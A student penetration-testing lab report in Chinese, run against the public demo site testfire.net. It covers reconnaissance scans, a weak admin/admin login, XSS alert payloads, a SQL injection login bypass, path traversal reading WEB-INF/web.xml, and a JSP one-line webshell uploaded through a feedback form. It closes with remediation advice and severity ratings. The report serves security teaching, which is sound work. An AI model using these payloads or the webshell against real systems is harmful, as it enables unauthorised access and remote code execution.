一、实验目的
(1)熟悉渗透测试的执行标准;
(2)掌握渗透测试的常用方法与技巧;
(3)掌握渗透测试报告的撰写步骤及关键要点。
二、实验任务
(1)对公开安全网站实施针对性的渗透测试,挖掘漏洞并获取信息;
(2)撰写渗透测试报告。
三、实验环境
攻击机IP:192.168.254.135
目标域名:www.testfire.net
目标IP:65.61.137.117
四、实验步骤
使用nikto进行扫描
发现了Target IP:65.61.137.117
使用nmap进行端口扫描 65.61.137.117
通过扫描结果发现80网页端口进行开放,因此我们可以进行网页的渗透
使用 dirsearch 进行网站目录扫描
扫描出很多目录,由上图可知存在一个后台登陆路径 /admin,然后还可能存在一个目录穿越读取文件的漏洞 ,针对这个,我们还是先进入后台
1.后台管理员弱口令登入漏洞
我们进入后台发现存在弱口令admin/admin直接可以进入后台
登陆后功能主要包括可以管理用户(更改管理员密码、创建用户)、信息查询(可以尝试进行SQL注入)、转账功能(此处无二次验证功能,在实际网站中,敏感业务操作设计应引入二次鉴权机制)。
2.search框发现xss漏洞
在 search 框进行搜索的时候,发现存在 xss 漏洞
payload:<script>alert("2300550319wangshun")</script>
通过 XSS 漏洞,可以获取用户 Cookie 等信息,以实现进一步渗透。如果是存储型 XSS ,那么还可以通过设置钓鱼登录框,将用户填写的账号、密码表单信息发送到攻击者所指定的网络位置。
3.SQL注入
防止SQL注入,最有效的方法就是限制输入、参数化传递用户提交的数据,显然这里并没有进行有效防护,测试发现登录页面存在SQL注入漏洞
Payload: username:-1' or 1=1--+ 密码 随意
4.index.jsp 路径下存在 web.xml 配置文件泄露漏洞
我们访问看看这个页面然后进行下一步的测试:
payload:content=personal.htm
经过测试,我们发现读取 /etc/passwd 等重要文件不行,说明网站的防护还是可以的
但是发现它 是直接可以读取 web.xml 的网站配置信息:
Payload:http://65.61.137.117/index.jsp?content=../WEB-INF/web.xml
通过这个我们得知了配置信息后可以进行后续的准备更高级的攻击。
5、Feedback页面xxs漏洞
Feedback这里,在用户名输入框输入<script>alert("2300550319wangshun")</script>,xss攻击成功。
6.Feedbackback页面存在任意文件上传漏洞
我们尝试修改文件内容为一句话 JSP webshell,
木马内容为:
<%
String cls = request.getParameter("passwd");
if (cls != null) {
new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
}
%>
然后上传wenda.jsp
结果显示的邮箱地址被bp抓包从123修改为了123qq.com
发现能够上传 却找不到文件上传的路径,由于是测试网站,甚至怀疑这里并没有做实际的保存工作,而只是返回了结果信息。
五、实验总结
漏洞修复建议:
1. 防止 SQL 注入,最有效的方法就是限制输入、参数化传递用户提交的数据,显然这里并没有进行有效防护,测试发现登录页面存在 SQL 注入漏洞
2. 后台弱口令应该设置验证码或者强口令登入
3. 防止文件路径遍历漏洞的最有效方法是避免将用户提供的输入完全传递给文件系统 API 。
4. 修复对 web.xml 访问权限可直接删除 docs 目录和 examples 目录
5.XSS 漏洞修复课采取对输入的数据进行 HTML 转义,使其不会识别为可执行脚本,和白名单过滤等方法。
漏洞评级
1.后台弱口令登入管理员漏洞:中危
管理员用户功能不是很多,主要包括可以管理用户(更改管理员密码、创建用户)、信息查询(可以尝试进行SQL注入)、转账功能(此处无二次验证功能,在实际网站中,敏感业务操作设计应引入二次鉴权机制)
2.index.jsp路径下存在 web.xml配置文件泄露漏洞 :中危
如果文件目录下有更多的敏感信息,那么危害会更大,攻击者根据配置信息,可采用远程攻击网站造成网站的破坏
3.search框存在xss漏洞: 低危
通过XSS漏洞,可以获取用户 Cookie 等信息,以实现进一步渗透。
如果是存储型XSS,那么还可以通过设置钓鱼登录框,将用户填写的账号、密码表单信息发送到攻击者所指定的网络位置。
4.反馈页面存在任意文件上传漏洞 : 低危
因为可能是个测试网站,没有文件路径,所以但是还是能上传一句话木马,攻击者可通过一些攻击工具像weblogic实现不需要路径的getshell,来进行提权
5.登入存在sql注入:高危
用户通过发现注入后可采取sqlmap进行网站的数据库爬取,造成数据的流失